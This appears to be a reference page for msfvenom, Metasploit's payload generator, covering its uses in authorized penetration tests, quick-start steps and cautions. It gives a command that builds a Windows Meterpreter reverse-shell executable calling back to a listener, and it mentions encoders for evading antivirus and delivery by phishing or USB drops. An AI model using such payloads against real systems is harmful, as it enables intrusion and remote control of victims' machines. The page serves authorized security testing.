X-MSF
msfvenom
Standalone Metasploit payload generator for building and encoding custom payloads in various formats.
OVERVIEW
msfvenom (part of github.com/rapid7/metasploit-framework) merges what used to be two separate tools, msfpayload and msfencode, into one command-line utility for generating a Metasploit payload as a standalone artifact: raw shellcode, a script, or a full executable/APK/ELF/Mach-O, in the exact format a delivery scenario calls for, without needing to run msfconsole at all.
It supports the framework's full payload catalog (Meterpreter, simple reverse/bind shells, and more) plus encoders intended to help a payload survive naive signature-based filtering — output that then gets delivered through whatever vector the engagement's scenario calls for: an email attachment, a dropped USB payload, or a file uploaded through an already-exploited web app.
USE CASES
Practical use cases
- 01
Building a standalone Meterpreter executable/DLL/APK for a phishing or physical-access engagement scenario.
- 02
Generating raw shellcode in a specific format to embed in a custom exploit or loader being developed.
- 03
Producing a payload in a non-Windows/Linux format (APK, Mach-O) for a mobile or macOS delivery scenario.
- 04
Testing whether a target's AV/EDR flags a given payload/encoder combination as part of a detection-capability assessment.
QUICK START
When a scenario needs a standalone payload file (executable, script, shellcode) rather than an in-console exploit — phishing attachments, physical media drops, or manual delivery.
- Confirm the delivery scenario (phishing, physical media, upload) and payload use are explicitly authorized.
- Choose a payload matching the target platform and the callback method allowed by network egress rules.
- Generate the payload in the required output format (exe, elf, apk, raw, and so on) with msfvenom.
- Set up the matching handler (multi/handler in msfconsole) before delivering the payload.
- Deliver the payload through the agreed vector and document the exact command and options used.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f exe -o payload.exeBEFORE YOU RUN IT
What to check before running it
Default msfvenom payloads and its built-in encoders are extensively signatured by mainstream AV/EDR — expect most unmodified output to be flagged, and treat that detection as itself a data point rather than an obstacle to route around without client awareness.
Any generated payload capable of callback/execution is effectively malware — build, store, and transmit it under the same handling rules the engagement agreed for offensive tooling, and remove it from target systems during cleanup.
LHOST/LPORT and network egress need to match what the target environment actually allows outbound — confirm the callback path works within the engagement's network constraints before relying on it during a time-boxed test.